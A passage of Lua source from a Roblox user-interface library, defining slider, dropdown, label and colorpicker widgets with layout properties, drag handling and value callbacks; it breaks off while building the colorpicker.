            flags[cfg.flag] = cfg.default

            local items = cfg.items; do
                items[ "slider_object" ] = library:create( "TextButton" , {
                    FontFace = fonts.small;
                    TextColor3 = rgb(0, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = "";
                    Parent = self.items[ "elements" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Size = dim2(1, 0, 0, 0);
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.Y;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                items[ "name" ] = library:create( "TextLabel" , {
                    FontFace = fonts.small;
                    TextColor3 = rgb(245, 245, 245);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = cfg.name;
                    Parent = items[ "slider_object" ];
                    Name = "\0";
                    Size = dim2(1, 0, 0, 0);
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Left;
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    TextSize = 16;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                if cfg.info then 
                    items[ "info" ] = library:create( "TextLabel" , {
                        FontFace = fonts.small;
                        TextColor3 = rgb(130, 130, 130);
                        BorderColor3 = rgb(0, 0, 0);
                        TextWrapped = true;
                        Text = cfg.info;
                        Parent = items[ "slider_object" ];
                        Name = "\0";
                        Position = dim2(0, 5, 0, 37);
                        Size = dim2(1, -10, 0, 0);
                        BackgroundTransparency = 1;
                        TextXAlignment = Enum.TextXAlignment.Left;
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.XY;
                        TextSize = 16;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                end 

                library:create( "UIPadding" , {
                    Parent = items[ "name" ];
                    PaddingRight = dim(0, 5);
                    PaddingLeft = dim(0, 5)
                });
                
                items[ "right_components" ] = library:create( "Frame" , {
                    Parent = items[ "slider_object" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Position = dim2(0, 4, 0, 23);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 0, 0, 12);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UIListLayout" , {
                    Parent = items[ "right_components" ];
                    Padding = dim(0, 7);
                    SortOrder = Enum.SortOrder.LayoutOrder;
                    FillDirection = Enum.FillDirection.Horizontal
                });
                
                items[ "slider" ] = library:create( "TextButton" , {
                    FontFace = fonts.small;
                    TextColor3 = rgb(0, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = "";
                    AutoButtonColor = false;
                    AnchorPoint = vec2(1, 0);
                    Parent = items[ "right_components" ];
                    Name = "\0";
                    Position = dim2(1, 0, 0, 0);
                    Size = dim2(1, -4, 0, 4);
                    BorderSizePixel = 0;
                    TextSize = 14;
                    BackgroundColor3 = rgb(33, 33, 35)
                });
                
                library:create( "UICorner" , {
                    Parent = items[ "slider" ];
                    CornerRadius = dim(0, 999)
                });
                
                items[ "fill" ] = library:create( "Frame" , {
                    Name = "\0";
                    Parent = items[ "slider" ];
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(0.5, 0, 0, 4);
                    BorderSizePixel = 0;
                    BackgroundColor3 = themes.preset.accent
                });  library:apply_theme(items[ "fill" ], "accent", "BackgroundColor3");
                
                library:create( "UICorner" , {
                    Parent = items[ "fill" ];
                    CornerRadius = dim(0, 999)
                });
                
                items[ "circle" ] = library:create( "Frame" , {
                    AnchorPoint = vec2(0.5, 0.5);
                    Parent = items[ "fill" ];
                    Name = "\0";
                    Position = dim2(1, 0, 0.5, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(0, 12, 0, 12);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(244, 244, 244)
                });
                
                library:create( "UICorner" , {
                    Parent = items[ "circle" ];
                    CornerRadius = dim(0, 999)
                });
                
                library:create( "UIPadding" , {
                    Parent = items[ "right_components" ];
                    PaddingTop = dim(0, 4)
                });
                
                items[ "value" ] = library:create( "TextLabel" , {
                    FontFace = fonts.small;
                    TextColor3 = rgb(72, 72, 73);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = "50%";
                    Parent = items[ "slider_object" ];
                    Name = "\0";
                    Size = dim2(1, 0, 0, 0);
                    Position = dim2(0, 6, 0, 0);
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Right;
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    TextSize = 16;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UIPadding" , {
                    Parent = items[ "value" ];
                    PaddingRight = dim(0, 5);
                    PaddingLeft = dim(0, 5)
                });                
            end 

            function cfg.changetext(text)
                items['name'].Text = text
            end 

            function cfg.set(value)
                cfg.value = clamp(library:round(value, cfg.intervals), cfg.min, cfg.max)

                library:tween(items[ "fill" ], {Size = dim2((cfg.value - cfg.min) / (cfg.max - cfg.min), cfg.value == cfg.min and 0 or -4, 0, 2)}, Enum.EasingStyle.Linear, 0.05)
                items[ "value" ].Text = tostring(cfg.value) .. cfg.suffix

                flags[cfg.flag] = cfg.value
                cfg.callback(flags[cfg.flag])
            end

            items[ "slider" ].MouseButton1Down:Connect(function()
                cfg.dragging = true 
                library:tween(items[ "value" ], {TextColor3 = rgb(255, 255, 255)}, Enum.EasingStyle.Quad, 0.2)
            end)

            library:connection(uis.InputChanged, function(input)
                if cfg.dragging and input.UserInputType == Enum.UserInputType.MouseMovement then 
                    local size_x = (input.Position.X - items[ "slider" ].AbsolutePosition.X) / items[ "slider" ].AbsoluteSize.X
                    local value = ((cfg.max - cfg.min) * size_x) + cfg.min
                    cfg.set(value)
                end
            end)

            library:connection(uis.InputEnded, function(input)
                if input.UserInputType == Enum.UserInputType.MouseButton1 then
                    cfg.dragging = false
                    library:tween(items[ "value" ], {TextColor3 = rgb(72, 72, 73)}, Enum.EasingStyle.Quad, 0.2) 
                end 
            end)

            if cfg.seperator then 
                library:create( "Frame" , {
                    AnchorPoint = vec2(0, 1);
                    Parent = self.items[ "elements" ];
                    Position = dim2(0, 0, 1, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 1, 0, 1);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(36, 36, 37)
                });
            end 

            cfg.set(cfg.default)
            config_flags[cfg.flag] = cfg.set

            return setmetatable(cfg, library)
        end 

        function library:dropdown(options) 
            local cfg = {
                name = options.name or nil;
                info = options.info or nil;
                flag = options.flag or library:next_flag();
                options = options.items or {""};
                callback = options.callback or function() end;
                multi = options.multi or false;
                scrolling = options.scrolling or false;

                width = options.width or 130;

                -- Ignore these 
                open = false;
                option_instances = {};
                multi_items = {};
                ignore = options.ignore or false;
                items = {};
                y_size;
                seperator = options.seperator or options.Seperator or false;
            }   

            cfg.default = options.default or (cfg.multi and {cfg.items[1]}) or cfg.items[1] or "None"
            flags[cfg.flag] = cfg.default

            local items = cfg.items; do 
                -- Element
                    items[ "dropdown_object" ] = library:create( "TextButton" , {
                        FontFace = fonts.small;
                        TextColor3 = rgb(0, 0, 0);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = "";
                        Parent = self.items[ "elements" ];
                        Name = "\0";
                        BackgroundTransparency = 1;
                        Size = dim2(1, 0, 0, 0);
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.Y;
                        TextSize = 14;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    items[ "name" ] = library:create( "TextLabel" , {
                        FontFace = fonts.small;
                        TextColor3 = rgb(245, 245, 245);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = cfg.name;
                        Parent = items[ "dropdown_object" ];
                        Name = "\0";
                        Size = dim2(1, 0, 0, 0);
                        BackgroundTransparency = 1;
                        TextXAlignment = Enum.TextXAlignment.Left;
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.XY;
                        TextSize = 16;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    if cfg.info then 
                        items[ "info" ] = library:create( "TextLabel" , {
                            FontFace = fonts.small;
                            TextColor3 = rgb(130, 130, 130);
                            BorderColor3 = rgb(0, 0, 0);
                            TextWrapped = true;
                            Text = cfg.info;
                            Parent = items[ "dropdown_object" ];
                            Name = "\0";
                            Position = dim2(0, 5, 0, 17);
                            Size = dim2(1, -10, 0, 0);
                            BackgroundTransparency = 1;
                            TextXAlignment = Enum.TextXAlignment.Left;
                            BorderSizePixel = 0;
                            AutomaticSize = Enum.AutomaticSize.XY;
                            TextSize = 16;
                            BackgroundColor3 = rgb(255, 255, 255)
                        });
                    end 

                    library:create( "UIPadding" , {
                        Parent = items[ "name" ];
                        PaddingRight = dim(0, 5);
                        PaddingLeft = dim(0, 5)
                    });
                    
                    items[ "right_components" ] = library:create( "Frame" , {
                        Parent = items[ "dropdown_object" ];
                        Name = "\0";
                        Position = dim2(1, 0, 0, 0);
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(0, 0, 1, 0);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UIListLayout" , {
                        FillDirection = Enum.FillDirection.Horizontal;
                        HorizontalAlignment = Enum.HorizontalAlignment.Right;
                        Parent = items[ "right_components" ];
                        Padding = dim(0, 7);
                        SortOrder = Enum.SortOrder.LayoutOrder
                    });
                    
                    items[ "dropdown" ] = library:create( "TextButton" , {
                        FontFace = fonts.small;
                        TextColor3 = rgb(0, 0, 0);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = "";
                        AutoButtonColor = false;
                        AnchorPoint = vec2(1, 0);
                        Parent = items[ "right_components" ];
                        Name = "\0";
                        Position = dim2(1, 0, 0, 0);
                        Size = dim2(0, cfg.width, 0, 16);
                        BorderSizePixel = 0;
                        TextSize = 14;
                        BackgroundColor3 = rgb(33, 33, 35)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "dropdown" ];
                        CornerRadius = dim(0, 4)
                    });
                    
                    items[ "sub_text" ] = library:create( "TextLabel" , {
                        FontFace = fonts.small;
                        TextColor3 = rgb(86, 86, 87);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = "awdawdawdawdawdawdawdaw";
                        Parent = items[ "dropdown" ];
                        Name = "\0";
                        Size = dim2(1, -12, 0, 0);
                        BorderSizePixel = 0;
                        BackgroundTransparency = 1;
                        TextXAlignment = Enum.TextXAlignment.Left;
                        TextTruncate = Enum.TextTruncate.AtEnd;
                        AutomaticSize = Enum.AutomaticSize.Y;
                        TextSize = 14;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UIPadding" , {
                        Parent = items[ "sub_text" ];
                        PaddingTop = dim(0, 1);
                        PaddingRight = dim(0, 5);
                        PaddingLeft = dim(0, 5)
                    });
                    
                    items[ "indicator" ] = library:create( "ImageLabel" , {
                        ImageColor3 = rgb(86, 86, 87);
                        BorderColor3 = rgb(0, 0, 0);
                        Parent = items[ "dropdown" ];
                        AnchorPoint = vec2(1, 0.5);
                        Image = "rbxassetid://101025591575185";
                        BackgroundTransparency = 1;
                        Position = dim2(1, -5, 0.5, 0);
                        Name = "\0";
                        Size = dim2(0, 12, 0, 12);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                -- 

                -- Element Holder
                    items[ "dropdown_holder" ] = library:create( "Frame" , {
                        BorderColor3 = rgb(0, 0, 0);
                        Parent = library[ "items" ];
                        Name = "\0";
                        Visible = true;
                        BackgroundTransparency = 1;
                        Size = dim2(0, 0, 0, 0);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(0, 0, 0);
                        ZIndex = 10;
                    });
                    
                    items[ "outline" ] = library:create( "Frame" , {
                        Parent = items[ "dropdown_holder" ];
                        Size = dim2(1, 0, 1, 0);
                        ClipsDescendants = true;
                        BorderColor3 = rgb(0, 0, 0);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(33, 33, 35);
                        ZIndex = 10;
                    });
                    
                    library:create( "UIPadding" , {
                        PaddingBottom = dim(0, 6);
                        PaddingTop = dim(0, 3);
                        PaddingLeft = dim(0, 3);
                        Parent = items[ "outline" ]
                    });
                    
                    library:create( "UIListLayout" , {
                        Parent = items[ "outline" ];
                        Padding = dim(0, 5);
                        SortOrder = Enum.SortOrder.LayoutOrder
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "outline" ];
                        CornerRadius = dim(0, 4)
                    });
                -- 
            end 

            function cfg.render_option(text)
                local button = library:create( "TextButton" , {
                    FontFace = fonts.small;
                    TextColor3 = rgb(72, 72, 73);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = text;
                    Parent = items[ "outline" ];
                    Name = "\0";
                    Size = dim2(1, -12, 0, 0);
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Left;
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.Y;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255);
                    ZIndex = 10;
                }); library:apply_theme(button, "accent", "TextColor3");
                
                library:create( "UIPadding" , {
                    Parent = button;
                    PaddingTop = dim(0, 1);
                    PaddingRight = dim(0, 5);
                    PaddingLeft = dim(0, 5)
                });
                
                return button
            end
            
            function cfg.set_visible(bool)
                local a = bool and cfg.y_size or 0
                library:tween(items[ "dropdown_holder" ], {Size = dim_offset(items[ "dropdown" ].AbsoluteSize.X, a)})

                items[ "dropdown_holder" ].Position = dim2(0, items[ "dropdown" ].AbsolutePosition.X, 0, items[ "dropdown" ].AbsolutePosition.Y + 80)
                if not (self.sanity and library.current_open == self) then 
                    library:close_element(cfg)
                end
            end
            
            function cfg.set(value)
                local selected = {}
                local isTable = type(value) == "table"

                for _, option in cfg.option_instances do 
                    if option.Text == value or (isTable and find(value, option.Text)) then 
                        insert(selected, option.Text)
                        cfg.multi_items = selected
                        option.TextColor3 = themes.preset.accent
                    else
                        option.TextColor3 = rgb(72, 72, 73)
                    end
                end

                items[ "sub_text" ].Text = isTable and concat(selected, ", ") or selected[1] or ""
                flags[cfg.flag] = isTable and selected or selected[1]
                
                cfg.callback(flags[cfg.flag]) 
            end

            function cfg.changetext(text)
                items[ "name" ].Text = text
            end
            
            function cfg.refresh_options(list) 
                cfg.y_size = 0

                for _, option in cfg.option_instances do 
                    option:Destroy() 
                end
                
                cfg.option_instances = {} 

                for _, option in list do 
                    local button = cfg.render_option(option)
                    cfg.y_size += button.AbsoluteSize.Y + 6 -- super annoying manual sizing but oh well
                    insert(cfg.option_instances, button)
                    
                    button.MouseButton1Down:Connect(function()
                        if cfg.multi then 
                            local selected_index = find(cfg.multi_items, button.Text)
                            
                            if selected_index then 
                                remove(cfg.multi_items, selected_index)
                            else
                                insert(cfg.multi_items, button.Text)
                            end
                            
                            cfg.set(cfg.multi_items) 				
                        else 
                            cfg.set_visible(false)
                            cfg.open = false 
                            
                            cfg.set(button.Text)
                        end
                    end)
                end
            end

            items[ "dropdown" ].MouseButton1Click:Connect(function()
                cfg.open = not cfg.open 
                
                cfg.set_visible(cfg.open)
            end)

            if cfg.seperator then 
                library:create( "Frame" , {
                    AnchorPoint = vec2(0, 1);
                    Parent = self.items[ "elements" ];
                    Position = dim2(0, 0, 1, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 1, 0, 1);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(36, 36, 37)
                });
            end 

            flags[cfg.flag] = {} 
            config_flags[cfg.flag] = cfg.set
            
            cfg.refresh_options(cfg.options)
            cfg.set(cfg.default)
                
            return setmetatable(cfg, library)
        end

        function library:label(options)
            local cfg = {
                enabled = options.enabled or nil,
                name = options.name or "Toggle",
                wrapped = options.wrapped or false,
                seperator = options.seperator or options.Seperator or false;
                info = options.info or nil; 

                items = {};
            }

            local items = cfg.items; do 
                items[ "label" ] = library:create( "TextButton" , {
                    FontFace = fonts.small;
                    TextColor3 = rgb(0, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = "";
                    Parent = self.items[ "elements" ];
                    Name = "\0";
                    BackgroundTransparency = 1;
                    Size = dim2(1, 0, 0, 0);
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.Y;
                    TextSize = 14;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                items[ "name" ] = library:create( "TextLabel" , {
                    FontFace = fonts.small;
                    TextColor3 = rgb(245, 245, 245);
                    BorderColor3 = rgb(0, 0, 0);
                    Text = cfg.name;
                    TextWrapped = cfg.wrapped,
                    Parent = items[ "label" ];
                    Name = "\0";
                    Size = dim2(1, 0, 0, 0);
                    BackgroundTransparency = 1;
                    TextXAlignment = Enum.TextXAlignment.Left;
                    BorderSizePixel = 0;
                    AutomaticSize = Enum.AutomaticSize.XY;
                    TextSize = 16;
                    RichText = true,
                    BackgroundColor3 = rgb(255, 255, 255)
                });

                if cfg.info then 
                    items[ "info" ] = library:create( "TextLabel" , {
                        FontFace = fonts.small;
                        TextColor3 = rgb(130, 130, 130);
                        BorderColor3 = rgb(0, 0, 0);
                        TextWrapped = true;
                        Text = cfg.info;
                        Parent = items[ "label" ];
                        Name = "\0";
                        Position = dim2(0, 5, 0, 17);
                        Size = dim2(1, -10, 0, 0);
                        BackgroundTransparency = 1;
                        TextXAlignment = Enum.TextXAlignment.Left;
                        BorderSizePixel = 0;
                        AutomaticSize = Enum.AutomaticSize.XY;
                        TextSize = 16;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                end 
                
                library:create( "UIPadding" , {
                    Parent = items[ "name" ];
                    PaddingRight = dim(0, 5);
                    PaddingLeft = dim(0, 5)
                });
                
                items[ "right_components" ] = library:create( "Frame" , {
                    Parent = items[ "label" ];
                    Name = "\0";
                    Position = dim2(1, 0, 0, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(0, 0, 1, 0);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(255, 255, 255)
                });
                
                library:create( "UIListLayout" , {
                    FillDirection = Enum.FillDirection.Horizontal;
                    HorizontalAlignment = Enum.HorizontalAlignment.Right;
                    Parent = items[ "right_components" ];
                    Padding = dim(0, 9);
                    SortOrder = Enum.SortOrder.LayoutOrder
                });                
            end 

            if cfg.seperator then 
                library:create( "Frame" , {
                    AnchorPoint = vec2(0, 1);
                    Parent = self.items[ "elements" ];
                    Position = dim2(0, 0, 1, 0);
                    BorderColor3 = rgb(0, 0, 0);
                    Size = dim2(1, 1, 0, 1);
                    BorderSizePixel = 0;
                    BackgroundColor3 = rgb(36, 36, 37)
                });
            end 

            function cfg.set(text)
                items[ "name" ].Text = text
            end

            return setmetatable(cfg, library)
        end 
        
        function library:colorpicker(options) 
            local cfg = {
                name = options.name or "Color", 
                flag = options.flag or library:next_flag(),

                color = options.color or color(1, 1, 1), -- Default to white color if not provided
                alpha = options.alpha and 1 - options.alpha or 0,
                
                open = false, 
                callback = options.callback or function() end,
                items = {};

                seperator = options.seperator or options.Seperator or false;
            }

            local dragging_sat = false 
            local dragging_hue = false 
            local dragging_alpha = false 

            local h, s, v = cfg.color:ToHSV() 
            local a = cfg.alpha 

            flags[cfg.flag] = {Color = cfg.color, Transparency = cfg.alpha}

            local label; 
            if not self.items.right_components then 
                label = self:label({name = cfg.name, seperator = cfg.seperator})
            end

            local items = cfg.items; do 
                -- Component
                    items[ "colorpicker" ] = library:create( "TextButton" , {
                        FontFace = fonts.small;
                        TextColor3 = rgb(0, 0, 0);
                        BorderColor3 = rgb(0, 0, 0);
                        Text = "";
                        AutoButtonColor = false;
                        AnchorPoint = vec2(1, 0);
                        Parent = label and label.items.right_components or self.items[ "right_components" ];
                        Name = "\0";
                        Position = dim2(1, 0, 0, 0);
                        Size = dim2(0, 16, 0, 16);
                        BorderSizePixel = 0;
                        TextSize = 14;
                        BackgroundColor3 = rgb(54, 31, 184)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "colorpicker" ];
                        CornerRadius = dim(0, 4)
                    });
                    
                    items[ "colorpicker_inline" ] = library:create( "Frame" , {
                        Parent = items[ "colorpicker" ];
                        Size = dim2(1, -2, 1, -2);
                        Name = "\0";
                        BorderMode = Enum.BorderMode.Inset;
                        BorderColor3 = rgb(0, 0, 0);
                        Position = dim2(0, 1, 0, 1);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(54, 31, 184)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "colorpicker_inline" ];
                        CornerRadius = dim(0, 4)
                    });
                    
                    library:create( "UIGradient" , {
                        Color = rgbseq{rgbkey(0, rgb(211, 211, 211)), rgbkey(1, rgb(211, 211, 211))};
                        Parent = items[ "colorpicker_inline" ]
                    });         
                --
                
                -- Colorpicker
                    items[ "colorpicker_holder" ] = library:create( "Frame" , {
                        Parent = library[ "other" ];
                        Name = "\0";
                        Position = dim2(0.20000000298023224, 20, 0.296999990940094, 0);
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(0, 166, 0, 197);
                        BorderSizePixel = 0;
                        Visible = true;
                        BackgroundColor3 = rgb(25, 25, 29)
                    });

                    items[ "colorpicker_fade" ] = library:create( "Frame" , {
                        Parent = items[ "colorpicker_holder" ];
                        Name = "\0";
                        BackgroundTransparency = 0;
                        Position = dim2(0, 0, 0, 0);
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(1, 0, 1, 0);
                        BorderSizePixel = 0;
                        ZIndex = 100;
                        BackgroundColor3 = rgb(25, 25, 29)
                    });
                    
                    items[ "colorpicker_components" ] = library:create( "Frame" , {
                        Parent = items[ "colorpicker_holder" ];
                        Name = "\0";
                        Position = dim2(0, 1, 0, 1);
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(1, -2, 1, -2);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(22, 22, 24)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "colorpicker_components" ];
                        CornerRadius = dim(0, 6)
                    });
                    
                    items[ "saturation_holder" ] = library:create( "Frame" , {
                        Parent = items[ "colorpicker_components" ];
                        Name = "\0";
                        Position = dim2(0, 7, 0, 7);
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(1, -14, 1, -80);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 39, 39)
                    });
                    
                    items[ "sat" ] = library:create( "TextButton" , {
                        Parent = items[ "saturation_holder" ];
                        Name = "\0";
                        Size = dim2(1, 0, 1, 0);
                        Text = "";
                        AutoButtonColor = false;
                        BorderColor3 = rgb(0, 0, 0);
                        ZIndex = 2;
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "sat" ];
                        CornerRadius = dim(0, 4)
                    });
                    
                    library:create( "UIGradient" , {
                        Rotation = 270;
                        Transparency = numseq{numkey(0, 0), numkey(1, 1)};
                        Parent = items[ "sat" ];
                        Color = rgbseq{rgbkey(0, rgb(0, 0, 0)), rgbkey(1, rgb(0, 0, 0))}
                    });
                    
                    items[ "val" ] = library:create( "Frame" , {
                        Name = "\0";
                        Parent = items[ "saturation_holder" ];
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(1, 0, 1, 0);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 255, 255)
                    });
                    
                    library:create( "UIGradient" , {
                        Parent = items[ "val" ];
                        Transparency = numseq{numkey(0, 0), numkey(1, 1)}
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "val" ];
                        CornerRadius = dim(0, 4)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "saturation_holder" ];
                        CornerRadius = dim(0, 4)
                    });
                    
                    items[ "satvalpicker" ] = library:create( "TextButton" , {
                        BorderColor3 = rgb(0, 0, 0);
                        AutoButtonColor = false;
                        Text = "";
                        AnchorPoint = vec2(0, 1);
                        Parent = items[ "saturation_holder" ];
                        Name = "\0";
                        Position = dim2(0, 0, 4, 0);
                        Size = dim2(0, 8, 0, 8);
                        ZIndex = 5;
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 0, 0)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "satvalpicker" ];
                        CornerRadius = dim(0, 9999)
                    });
                    
                    library:create( "UIStroke" , {
                        Color = rgb(255, 255, 255);
                        Parent = items[ "satvalpicker" ];
                        ApplyStrokeMode = Enum.ApplyStrokeMode.Border;
                    });
                    
                    items[ "hue_gradient" ] = library:create( "TextButton" , {
                        Parent = items[ "colorpicker_components" ];
                        Name = "\0";
                        Position = dim2(0, 10, 1, -64);
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(1, -20, 0, 8);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 255, 255);
                        AutoButtonColor = false;
                        Text = "";
                    });
                    
                    library:create( "UIGradient" , {
                        Color = rgbseq{rgbkey(0, rgb(255, 0, 0)), rgbkey(0.17, rgb(255, 255, 0)), rgbkey(0.33, rgb(0, 255, 0)), rgbkey(0.5, rgb(0, 255, 255)), rgbkey(0.67, rgb(0, 0, 255)), rgbkey(0.83, rgb(255, 0, 255)), rgbkey(1, rgb(255, 0, 0))};
                        Parent = items[ "hue_gradient" ]
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "hue_gradient" ];
                        CornerRadius = dim(0, 6)
                    });
                    
                    items[ "hue_picker" ] = library:create( "TextButton" , {
                        BorderColor3 = rgb(0, 0, 0);
                        AutoButtonColor = false;
                        Text = "";
                        AnchorPoint = vec2(0, 0.5);
                        Parent = items[ "hue_gradient" ];
                        Name = "\0";
                        Position = dim2(0, 0, 0.5, 0);
                        Size = dim2(0, 8, 0, 8);
                        ZIndex = 5;
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 0, 0)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "hue_picker" ];
                        CornerRadius = dim(0, 9999)
                    });
                    
                    library:create( "UIStroke" , {
                        Color = rgb(255, 255, 255);
                        Parent = items[ "hue_picker" ];
                        ApplyStrokeMode = Enum.ApplyStrokeMode.Border;
                    });
                    
                    items[ "alpha_gradient" ] = library:create( "TextButton" , {
                        Parent = items[ "colorpicker_components" ];
                        Name = "\0";
                        Position = dim2(0, 10, 1, -46);
                        BorderColor3 = rgb(0, 0, 0);
                        Size = dim2(1, -20, 0, 8);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(25, 25, 29);
                        AutoButtonColor = false;
                        Text = "";
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "alpha_gradient" ];
                        CornerRadius = dim(0, 6)
                    });
                    
                    items[ "alpha_picker" ] = library:create( "TextButton" , {
                        BorderColor3 = rgb(0, 0, 0);
                        AutoButtonColor = false;
                        Text = "";
                        AnchorPoint = vec2(0, 0.5);
                        Parent = items[ "alpha_gradient" ];
                        Name = "\0";
                        Position = dim2(1, 0, 0.5, 0);
                        Size = dim2(0, 8, 0, 8);
                        ZIndex = 5;
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(255, 0, 0)
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "alpha_picker" ];
                        CornerRadius = dim(0, 9999)
                    });
                    
                    library:create( "UIStroke" , {
                        Color = rgb(255, 255, 255);
                        ApplyStrokeMode = Enum.ApplyStrokeMode.Border;
                        Parent = items[ "alpha_picker" ]
                    });
                    
                    library:create( "UIGradient" , {
                        Color = rgbseq{rgbkey(0, rgb(0, 0, 0)), rgbkey(1, rgb(255, 255, 255))};
                        Parent = items[ "alpha_gradient" ]
                    });
                    
                    items[ "alpha_indicator" ] = library:create( "ImageLabel" , {
                        ScaleType = Enum.ScaleType.Tile;
                        BorderColor3 = rgb(0, 0, 0);
                        Parent = items[ "alpha_gradient" ];
                        Image = "rbxassetid://18274452449";
                        BackgroundTransparency = 1;
                        Name = "\0";
                        Size = dim2(1, 0, 1, 0);
                        TileSize = dim2(0, 6, 0, 6);
                        BorderSizePixel = 0;
                        BackgroundColor3 = rgb(0, 0, 0)
                    });
                    
                    library:create( "UIGradient" , {
                        Color = rgbseq{rgbkey(0, rgb(112, 112, 112)), rgbkey(1, rgb(255, 0, 0))};
                        Transparency = numseq{numkey(0, 0.8062499761581421), numkey(1, 0)};
                        Parent = items[ "alpha_indicator" ]
                    });
                    
                    library:create( "UICorner" , {
                        Parent = items[ "alpha_indicator" ];
                        CornerRadius = dim(0, 6)
                    });
                    
                    library:create( "UIGradient" , {
                        Rotation = 90;
                        Parent = items[ "colorpicker_components" ];
                        Color = rgbseq{rgbkey(0, rgb(255, 255, 255)), rgbkey(1, rgb(66, 66, 66))}
                    });

                    items[ "input" ] = library:create( "TextBox" , {
                        FontFace = fonts.font;
                        AnchorPoint = vec2(1, 1);
                        Text = "";
                        Parent = items[ "colorpicker_components" ];
                        Name = "\0";
                        TextTruncate = Enum.TextTruncate.AtEnd;
                        BorderSizePixel = 0;
                        PlaceholderColor3 = rgb(255, 255, 255);
                        CursorPosition = -1;
                        ClearTextOnFocus = false;
                        TextSize = 14;
                        BackgroundColor3 = rgb(255, 255, 255);
                        TextColor3 = rgb(72, 72, 72);
                        BorderColor3 = rgb(0, 0, 0);
                        Position = dim2(1, -8, 1, -11);
                        Size = dim2(1, -16, 0, 18);
                        BackgroundColor3 = rgb(33, 33, 35)
                    }); 
                    
                    library:create( "UICorner" , {
                        Parent = items[ "input" ];
                        CornerRadius = dim(0, 3)
                    });
                    
                    items[ "UICorenr" ] = library:create( "UICorner" , { -- fire misstypo (im not fixing this RAWR)
                        Parent = items[ "colorpicker_holder" ];
                        Name = "\0";
                        CornerRadius = dim(0, 4)
                    });
                --                  
